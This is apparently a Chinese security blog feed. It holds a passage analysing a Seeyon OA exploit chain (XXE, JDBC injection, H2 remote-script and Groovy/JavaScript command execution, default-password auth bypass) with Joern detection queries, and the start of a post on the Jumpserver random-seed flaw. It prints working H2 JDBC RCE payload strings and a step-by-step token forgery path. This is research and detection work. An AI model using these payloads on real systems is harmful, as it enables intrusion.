<strong>xmlValue，直接解base64然后就进xxe</strong>造成漏洞。</p><p>按理说这么简单的漏洞，应该早就被爆出来滥用了，但我搜索了一下相应的内容，上一次致远oa爆出来xxe漏洞原理比这个复杂多了，而且还是组件漏洞。</p><p>由于实在找不到源码，所以我猜测这个漏洞可能有两个可能性</p><ul><li><strong>漏洞来自于某个部署时使用到的额外服务或者插件</strong></li><li><strong>这个xxe漏洞是个第三方组件问题</strong>，需要其他条件入口，原文不想提到这个入口所以没有写</li></ul><p>不管咋说我的确是没有办法获得答案了，不过这不是这篇文章的重心，先往后看。</p><h2 id="致远oa-S1服务-后台jdbc注入"><a href="#致远oa-S1服务-后台jdbc注入" class="headerlink" title="致远oa S1服务 后台jdbc注入"></a>致远oa S1服务 后台jdbc注入</h2><p>在原文中，这部分来自于agent.jar，简单来说就是一个开放到内网的服务，我查了一下应该是指这套<strong>S1服务</strong>。</p><p>在官网还可以查到这套系统，看上去应该是用于管理致远后台的平台，算是运维平台。这侧面也证明了<strong>这套系统是一套独立的系统。</strong></p><p>在<code>com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController</code>可以找到对应的<code>testDBConnect</code>方法</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211747347.png" alt="img"></p><p>可以关注到相比原文当中的截图，现在加入了<strong>对h2数据库连接的限制</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">params.put(<span class="string">"dbUrl"</span>, dbUrl);</span><br><span class="line"><span class="keyword">if</span> (dbUrl.startsWith(<span class="string">"jdbc:h2"</span>))</span><br><span class="line">  <span class="keyword">return</span> JsonResult.success(StatusCodeEnum.FAILEDCODE.getKey(), <span class="string">", null);</span></span><br></pre></td></tr></table></figure><p>继续跟进到<code>testDBConnect</code>中</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211747209.png" alt="img"></p><p>从这里可以找到可以<strong>根据dburl前缀自由连接远程jdbc</strong>的方法，并允许<strong>自定义链接驱动类</strong></p><h2 id="H2-jdbc注入导致RCE"><a href="#H2-jdbc注入导致RCE" class="headerlink" title="H2 jdbc注入导致RCE"></a>H2 jdbc注入导致RCE</h2><p>这部分内容其实不算是这篇文章的重点致远oa的问题，一般来说到<strong>jdbc注入</strong>之后就是<strong>利用方式</strong>的问题了，但这里还是顺带提一下。</p><p><strong>关于jdbc的注入后利用方式</strong>其实之前已经有过不少次相关的文章以及议题，下面这篇就是一篇总结的比较全的文章</p><ul><li><a href="https://paper.seebug.org/1832/" target="_blank" rel="noopener">https://paper.seebug.org/1832/</a></li><li><a href="https://www.anquanke.com/post/id/203086" target="_blank" rel="noopener">https://www.anquanke.com/post/id/203086</a></li></ul><p>其实jdbc可控<strong>后续导致的二次利用方案相当复杂</strong>，由于这不是这篇文章的内容，所以我们直接跳到对应的位置来看看。</p><p>想要利用jdbc注入来调用H2进行进一步利用，其中有两个比较大的问题。</p><ul><li><strong>需要相应的配置参数才能命令执行</strong></li><li><strong>由于不支持多行语句，需要找到能在单行里执行命令的方法</strong></li></ul><p><strong>H2的攻击利用的是Spring Boot H2 console的一个特性</strong>，通过控制h2数据库的连接url，我们可以迫使spring boot去<strong>加载远程的sql脚本并执行命令</strong>，类似下面这样的请求</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=<span class="number">3</span>;INIT=RUNSCRIPT FROM <span class="string">'http://127.0.0.1:8000/poc.sql'</span></span><br></pre></td></tr></table></figure><p>而这样的请求需要<strong>如下的参数</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">spring.h2.console.enable=true</span><br><span class="line">spring.h2.console.setting.web-allow-others=true</span><br></pre></td></tr></table></figure><p>我们简单的看下源码</p><p>在<code>org.h2.engine.Engine#openSession</code>中，发起连接是可以<strong>通过INIT关键字来影响初始化数据库连接的配置</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211747556.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211747988.png" alt="img"></p><p><strong>当我们使用RUNSCRIPT关键字发起远程连接时</strong>，代码将会执行到<code>org.h2.command.dml.RunScriptCommand#execute</code></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211747682.png" alt="img"></p><p>这也就意味着我们可以<strong>通过RUNSCRIPT来执行恶意的SQL语句</strong>，但使用RUNSCRIPT意味着，<strong>你的客户端必须出网才有可能利用。</strong></p><p>而我们之所以要使用RUNSCRIPT，本质是<strong>因为常见的恶意SQL执行命令需要两句</strong>，<strong>而</strong><code>session.prepareCommand</code><strong>并不支持执行多行语句</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">CREATE ALIAS RUNCMD AS $$&lt;JAVA METHOD&gt;$$;</span><br><span class="line">CALL RUNCMD(command)</span><br></pre></td></tr></table></figure><p>在Spring Boot H2 console的源码中，我们可以继续寻找问题的解决办法，在SQL语句当中的JAVA方法将会执行到<code>org.h2.util.SourceCompiler</code>,一共有三种编译器，<strong>分别是Java/Javascript/Groovy</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211747684.png" alt="img"></p><p><strong>如果满足source开头是</strong><code>//groovy</code><strong>或者是</strong><code>@groovy</code><strong>就会使用对应Groovy引擎。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211748878.png" alt="img"></p><p><strong>利用</strong><code>@groovy.transform.ASTTEST</code><strong>就可以使用assert来执行命令</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">public static void main (String[] args) throws ClassNotFoundException, SQLException &#123;</span><br><span class="line">    String groovy = <span class="string">"@groovy.transform.ASTTest(value=&#123;"</span> + <span class="string">" assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")"</span> + <span class="string">"&#125;)"</span> + <span class="string">"def x"</span>;</span><br><span class="line">    String url = <span class="string">"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"</span>+ groovy +<span class="string">"'"</span>;</span><br><span class="line">    Connection conn = DriverManager.getConnection(url);</span><br><span class="line">    conn.close();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>除了Groovy以外还有JavaScript的利用方案</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211749239.png" alt="img"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">public static void main (String[] args) throws ClassNotFoundException, SQLException &#123;</span><br><span class="line">    String javascript = <span class="string">"//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")"</span>;</span><br><span class="line">    String url = <span class="string">"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"</span>+ javascript +<span class="string">"'"</span>;</span><br><span class="line">    Connection conn = DriverManager.getConnection(url);</span><br><span class="line">    conn.close();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="致远oa-S1服务-后台用户密码重置导致的鉴权绕过"><a href="#致远oa-S1服务-后台用户密码重置导致的鉴权绕过" class="headerlink" title="致远oa S1服务 后台用户密码重置导致的鉴权绕过"></a>致远oa S1服务 后台用户密码重置导致的鉴权绕过</h2><p>在前面找到对应的利用方案之后，<strong>当我们尝试去做利用的时候会发现其实后台有额外的权限验证</strong>。直接访问testDBConnenction，会报<strong>非法访问的错误。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211749235.png" alt="img"></p><p>这是<strong>因为没有传入对应的token</strong>，在<code>com.seeyon.agent.common.utils.TokenUtils</code>中可以找到对应的检查</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211749964.png" alt="img"></p><p>这里的tokenMap可以在<code>com.seeyon.agent.common.getway.GetWayController</code>找到<strong>对应的写入位置</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211749377.png" alt="img"></p><p><strong>通过解密获得username、pwd、dogcode、versions</strong>，<strong>经过各种验证之后token会被存入全局变量</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211749644.png" alt="img"></p><p>这个token会被存入最终的tokenMap当中，而到这里我们问题变成了<strong>如何模拟这个过程</strong>，在这个过程当中我们需要的信息有点儿多</p><ul><li><strong>username，可以用默认的用户名seeyon</strong></li><li><strong>pwd</strong></li><li><strong>version</strong></li><li><strong>aes的秘钥和iv</strong></li></ul><p>跟踪 AESUtil.Decrypt到定义的位置，可以发现<strong>秘钥和iv都是默认的</strong>，可以直接使用</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211749701.png" alt="img"></p><p>在<code>com.seeyon.agent.common.controller.ConfigController</code>中可以<strong>找到一个方法modifyDefaultUserInfo</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750401.png" alt="img"></p><p>这个方法可以在<strong>没有任何限制的情况下修改默认用户seeyon的密码</strong></p><p>最后剩下的一个信息则是version，这个后台的版本比较复杂，我们可以<strong>通过一个接口来获取</strong></p><p><strong>在</strong><code>com.seeyon.agent.common.controller.VersionController</code><strong>的getVersion方法</strong>里可以获取对应的版本号</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750481.png" alt="img"></p><p>到这里我们获取了模拟token的所有信息，就可以在<strong>后台进行任意操作</strong>了</p><h1 id="For-Joern"><a href="#For-Joern" class="headerlink" title="For Joern"></a>For Joern</h1><p>当问题回到源代码扫描上，我们也可以用<strong>类似的漏洞拆解来实现扫描</strong></p><h2 id="致远oa前台xxe漏洞-1"><a href="#致远oa前台xxe漏洞-1" class="headerlink" title="致远oa前台xxe漏洞"></a>致远oa前台xxe漏洞</h2><p>由于这个源码找不到，所以这里<strong>用一个类似场景写出来的语句</strong>来进行<strong>模拟挖掘和扫描</strong>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def source = cpg.method("getParameter").callIn</span><br><span class="line">def sink = cpg.call.filter(_.methodFullName.contains("java.io.StringReader.&lt;init&gt;"))</span><br><span class="line"></span><br><span class="line">sink.reachableByFlows(source).p</span><br></pre></td></tr></table></figure><p>我们可以通过<strong>连通初始化位置以及可控参数来判断是否存在路径</strong>，正常来说如果两个节点<strong>存在连通路径</strong>，那么就存在<strong>调用关系</strong>，但数据流的过程间分析需要更合理的判定方式，就比如这个漏洞。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750347.png" alt="img"></p><p><code>SAXReader</code>的<strong>XXE漏洞修复方案并不是在参数的过滤上</strong>，而是在于<code>SAXReader</code>对<strong>解析xml的配置</strong></p><p>这就要求<strong>除了获得source到sink的连通性以及调用关系以外</strong>，<strong>还要对</strong><code>SAXReader</code><strong>实例化后的属性变化有所关注</strong>，在Joern上虽然可以强行做这样的判定，但却没有特别适配的方案，甚至需要通过正则匹配等方式来解决。</p><h2 id="致远oa-S1服务-后台jdbc注入-1"><a href="#致远oa-S1服务-后台jdbc注入-1" class="headerlink" title="致远oa S1服务 后台jdbc注入"></a>致远oa S1服务 后台jdbc注入</h2><p>照理先引入S1的包，这个东西其实代码不是很大，但是不知道为什么解出来的包非常之大，可能有一些问题。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; importCode(<span class="string">"S1.jar"</span>, <span class="string">"seeyons1"</span>)</span><br><span class="line">val res36: io.shiftleft.codepropertygraph.Cpg = Cpg (Graph [<span class="number">959587</span> nodes])</span><br></pre></td></tr></table></figure><p>先找到<strong>设置了注解的testDBConnect方法</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method(<span class="string">"testDBConnect"</span>).where(_.annotation.name(<span class="string">".*Mapping"</span>)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750143.png" alt="img"></p><p>然后再找到<strong>设置jdbc连接的位置</strong>，并<strong>设置参数为3个string</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method(<span class="string">"getConnection"</span>).callIn.filter(_.methodFullName.contains(<span class="string">"java.lang.String,java.lang.String,java.lang.String"</span>)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750355.png" alt="img"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def sink = cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String"))</span><br><span class="line">def source = cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).parameter</span><br><span class="line"></span><br><span class="line">sink.reachableByFlows(source).p</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750337.png" alt="img"></p><p>存在连通性，<strong>表示包含注解的方法参数可以连通到sink点，存在问题。</strong></p><h2 id="H2-jdbc注入导致RCE-1"><a href="#H2-jdbc注入导致RCE-1" class="headerlink" title="H2 jdbc注入导致RCE"></a>H2 jdbc注入导致RCE</h2><p>相比其他几个问题，这个jdbc的利用其实<strong>就不算源代码分析层面的部分</strong>了。</p><p>无论是<strong>通过H2的链接来配置参数还是通过特殊语句二次利用</strong>，其实本质上都是<strong>H2数据库的feature</strong>，这里我们就跳过源代码分析的部分继续看后面的部分</p><h2 id="致远oa-S1服务-后台用户密码重置导致的鉴权绕过-1"><a href="#致远oa-S1服务-后台用户密码重置导致的鉴权绕过-1" class="headerlink" title="致远oa S1服务 后台用户密码重置导致的鉴权绕过"></a>致远oa S1服务 后台用户密码重置导致的鉴权绕过</h2><p>让我们把视角在转回S1上，其实问题很简单，<strong>由于后台主要检查token是否有效</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750184.png" alt="img"></p><p>所以我们可以尝试<strong>去寻找全局变量tokenMap初始化过的地方</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.call(<span class="string">"&lt;operator&gt;.fieldAccess"</span>).filter(_.code.equals(<span class="string">"com.seeyon.agent.common.utils.TokenUtils.tokenMap"</span>)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750489.png" alt="img"></p><p>然后<strong>寻找对应调用的位置</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.call("&lt;operator&gt;.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).map(n=&gt;n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750089.png" alt="img"></p><p>可以看到<strong>涉及到tokenMap的方法出了isChecktoken以外还有getToken</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750945.png" alt="img"></p><p>然后我们继续<strong>寻找调用了getToken的地方</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.call.filter(_.methodFullName.contains(<span class="string">"com.seeyon.agent.common.utils.TokenUtils.getToken"</span>)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751394.png" alt="img"></p><p>然后<strong>向上寻找对应的调用函数是什么</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).map(n=&gt;n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751242.png" alt="img"></p><p>在这里我们找到了<strong>调用gettoken的位置</strong>，也正好<strong>对应写入token的位置</strong>。</p><p>而在后续的利用条件收集中，也可以利用joern来快速挖掘和发现。</p><ul><li><strong>寻找获取用户名和密码的方法</strong></li></ul><p>这个很简单，就像我们平时做代码审计的时候，会<strong>通过一些关键字来搜索关键代码</strong>一样，在joern中，你可以做类似的事情。我们可以<strong>搜索变量名为username的变量被调用的位置</strong>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.identifier(<span class="string">"username"</span>)._astIn.dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751765.png" alt="img"></p><p>当然这显得非常粗暴，数据量非常大，但我们可以做更多的限制，比如<strong>调用该变量的方法必须包含put</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.identifier("username").map(n=&gt;n._callViaAstIn.filter(_.code.contains("put")).dedup.l).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751942.png" alt="img">我们可以<strong>直接向上找到对应的函数方法定义位置</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.identifier("username").map(n=&gt;n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.l).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751464.png" alt="img"></p><p>我们可以选择几个打开看看</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751792.png" alt="img"></p><p>当然我们发现<strong>不只是有名字为password的变量，还有名为password的常量</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cpg.literal("\"password\"").map(n=&gt;n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=&gt;List(m.asInstanceOf[io.shiftleft.codepropert</span><br><span class="line">y raph.generated.nodes.Method].fullName)).l).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751799.png" alt="img"></p><p>可以顺着这里找到<strong>写入默认账户的位置</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751559.png" alt="img"></p><p>前面提到的<strong>默认账户修改密码的点</strong>也能搜索到，这里甚至可以直接用<strong>默认账号和密码</strong></p><p>除此之外<strong>寻找版本号的位置</strong>也可以用joern来完成，直接搜索<strong>调用了version变量的地方</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.identifier("version").map(n=&gt;n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=&gt;List(m.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName)).l).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751928.png" alt="img"></p><p>直接找到了<strong>对应的getVersion方法</strong></p><p><strong>通过joern提供的从属关系图可以快速锁定我们要寻找的大致目标</strong>，其中的问题也相当实际，你<strong>很难在不熟悉代码的情况下利用joern做深入的扫描</strong>，这也是joern类工具的症结之一</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;strong&gt;致远OA是国内最有名的OA系统之一&lt;/strong&gt;，这个OA封闭商业售卖再加上纷繁复杂的版本号加持下，致远OA拥有大量无法准确判断的版本。&lt;/p&gt;
&lt;p&gt;这篇文章的漏洞源于下面这篇文章，文章中提到&lt;strong&gt;该漏洞影响A8, A8+, A6等多个版本&lt;/strong&gt;，但很多版本我都找不到对应的源码，光A8就有一万个版本，下面我们尽可能的复现漏洞和探索Joern的可能性&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</summary>
    
    
    
    
    <category term="rce" scheme="https://lorexxar.cn/tags/rce/"/>
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
    <category term="oa" scheme="https://lorexxar.cn/tags/oa/"/>
    
  </entry>
  
  <entry>
    <title>Joern In RealWorld (2) - Jumpserver随机数种子泄露导致账户劫持漏洞（CVE-2023-42820）</title>
    <link href="https://lorexxar.cn/2023/10/26/joerninrw2/"/>
    <id>https://lorexxar.cn/2023/10/26/joerninrw2/</id>
    <published>2023-10-26T07:18:19.000Z</published>
    <updated>2023-11-08T06:23:19.000Z</updated>
    
    <content type="html"><![CDATA[<p>Jumpserver是一个开源的django架构的堡垒机系统，由<strong>lawliet &amp; zhiniang peng(@edwardzpeng) with Sangfor</strong>在上个月报送了这个漏洞</p><ul><li><a href="https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp" target="_blank" rel="noopener">https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp</a></li></ul><p>漏洞原理其实比较神奇，一个常用的第三方组件库<a href="https://github.com/mbi/django-simple-captcha" target="_blank" rel="noopener">django-simple-captcha</a>有<strong>泄露随机数种子</strong>的问题，再配合Jumpserver<strong>使用了错误的随机数方案</strong>导致了最终的漏洞。</p><a id="more"></a><h1 id="漏洞成因"><a href="#漏洞成因" class="headerlink" title="漏洞成因"></a>漏洞成因</h1><p>这里我们的目标不是分析漏洞，所以这里<strong>简单快速的分析下漏洞的成因</strong>，具体的漏洞分析可以看下面两篇文章</p><ul><li><a href="https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html" target="_blank" rel="noopener">https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html</a></li><li><a href="https://www.cnblogs.com/zpchcbd/p/17747778.html" target="_blank" rel="noopener">https://www.cnblogs.com/zpchcbd/p/17747778.html</a></li></ul><p>在分析代码级的漏洞成因之前，我想作为计算机相关的工作者，我们应该都有一个共识，就是<strong>计算机中没有真正意义的伪随机</strong>，无论是任何语言的随机数生成函数几乎都是从类似 <code>/dev/random</code>的地方取值，这里我们不讨论随机数底层的问题。</p><p>在代码的上层，我们几乎可以认为<strong>如果你不知道随机数的种子，那么你就无法对随机数做出预测</strong>。换言之，<strong>如果我们知道随机数的种子，我们就有一定的概率预测随机数</strong>。</p><p><strong>django-simple-captcha是Django的相关组件中非常流行的验证码生成库</strong>，就像phith0n所说，在国内你几乎没有别的选择，引入的方式超级简单，只要在配置里引入对应库</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">INSTALLED_APPS = [</span><br><span class="line">    ...</span><br><span class="line">    <span class="string">'captcha'</span>,</span><br></pre></td></tr></table></figure><p>然后加入对应的验证码路由</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">urlpatterns += [</span><br><span class="line">path(<span class="string">'core/auth/captcha/'</span>, include(<span class="string">'captcha.urls'</span>)),</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>最后只要在对应的form中加入验证码的字段就行了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CaptchaMixin</span><span class="params">(forms.Form)</span>:</span></span><br><span class="line">    captcha = CaptchaField(widget=CustomCaptchaTextInput, label=_(<span class="string">'Captcha'</span>))</span><br></pre></td></tr></table></figure><p>但事实上，看似简单的django-simple-captcha中实际包含着一个很大的问题。</p><h2 id="django-simple-captcha-随机数种子泄露"><a href="#django-simple-captcha-随机数种子泄露" class="headerlink" title="django-simple-captcha 随机数种子泄露"></a>django-simple-captcha 随机数种子泄露</h2><p>这个问题在0.5.19版本中被修复</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311081422475.png" alt="img"></p><p>这里其实涉及到了django-simple-captcha的一个feature，<strong>在设计上其实是允许通过key来指定随机数种子的</strong>，这个feature是为了<strong>让同一个key可以对应同一个验证码</strong>，用来实现验证码的对应。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261538965.png" alt="img"></p><p>而这里的key是一个已知的值，就是用于生成验证码的参数</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311081422164.png" alt="img"></p><p>换言之，我们可以<strong>得知当前Random的随机数种子</strong>，甚至可以控制这个种子。</p><p>修复的方案也很简单粗暴，只要在<strong>生成结束之后用随机一个新种子</strong>就可以了</p><ul><li><a href="https://github.com/mbi/django-simple-captcha/commit/dcf1ccda3b12df179eaa5c0ebec95a897e96245f" target="_blank" rel="noopener">https://github.com/mbi/django-simple-captcha/commit/dcf1ccda3b12df179eaa5c0ebec95a897e96245f</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261538104.png" alt="img"></p><p>那么这对jumpserver又有什么影响呢？</p><h2 id="JumpServer-密码重置漏洞"><a href="#JumpServer-密码重置漏洞" class="headerlink" title="JumpServer 密码重置漏洞"></a>JumpServer 密码重置漏洞</h2><p>相比django-simple-captcha来说，<strong>JumpServer更像是一个受害者，虽然存在一些安全隐患但本身并不致命。</strong>我们可以猜想一下随机数在一般的系统里常用的场景。</p><ul><li>重置密码</li><li>激活码、兑换码</li></ul><p>相比激活码的场景来说，<strong>重置密码的常见程度更高</strong>，如果系统内没有刻意对管理员账号做限制，那么如果可以预测重置密码的验证结果，那么就可以获得一个超级管理员权限，而JumpServer的代码中是这样做的。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261538834.png" alt="img"></p><p>/apps/authentication/api/password.py</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261538890.png" alt="img"></p><p><strong>重置密码用的code使用了random_string来生成</strong>，然后看看random_string的定义</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261538079.png" alt="img"></p><p>这个函数在jumpserver中重做过好几次，但大同小异，其实就是<strong>用random.choice从列表中选取随机字符</strong>，最终生成最后的验证码。</p><p>这里我们不去细纠这个利用方式中的细节点，这不是本篇文章的讨论重点，简单来说就是</p><ul><li><strong>通过**</strong>django-simple-captcha泄露当前random的种子**</li><li><strong>通过种子推测有限次的random结果</strong>（其中不仅仅包括密码重置token，还有验证码噪点等）</li></ul><p>这样我们就通过对随机数的预测实现进一步的漏洞利用，而修复的方案也很简单</p><p>在最初版本的修复方案中，<strong>Jumpserver在获取密码重置token时重置了当前随机数种子</strong>。这个修复方案也没什么问题。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539892.png" alt="img"></p><p>在后来的改动中，可能是因为看了P牛的文章，<strong>Jumpserver把random换成了secrets</strong>，相对来说比前一个方案更稳定一些，也是相关文档中推荐的方案</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539248.png" alt="img"></p><h1 id="For-Joern"><a href="#For-Joern" class="headerlink" title="For Joern"></a>For Joern</h1><p>从源代码的角度来讲，这个漏洞成因可以分成两部分</p><ul><li><strong>存在泄露随机数种子，或者可以控制随机数种子的位置</strong></li><li><strong>在未显式重置随机数种子的基础上，引用了random来生成随机数</strong></li></ul><h2 id="随机数种子泄露"><a href="#随机数种子泄露" class="headerlink" title="随机数种子泄露"></a>随机数种子泄露</h2><p>其实这个漏洞用Joern来处理挺吃力的，首先是<strong>Joern只会处理目标目录下的源码</strong>，而在正常的环境下，python引入的包其实<strong>都在python的目录下</strong>，也就是说理论上<strong>我们无法在分析项目的时候，顺便分析django-simple-captcha。</strong></p><p>这里我们强行引入下分析django-simple-captcha包</p><figure class="highlight python"><table><tr><td 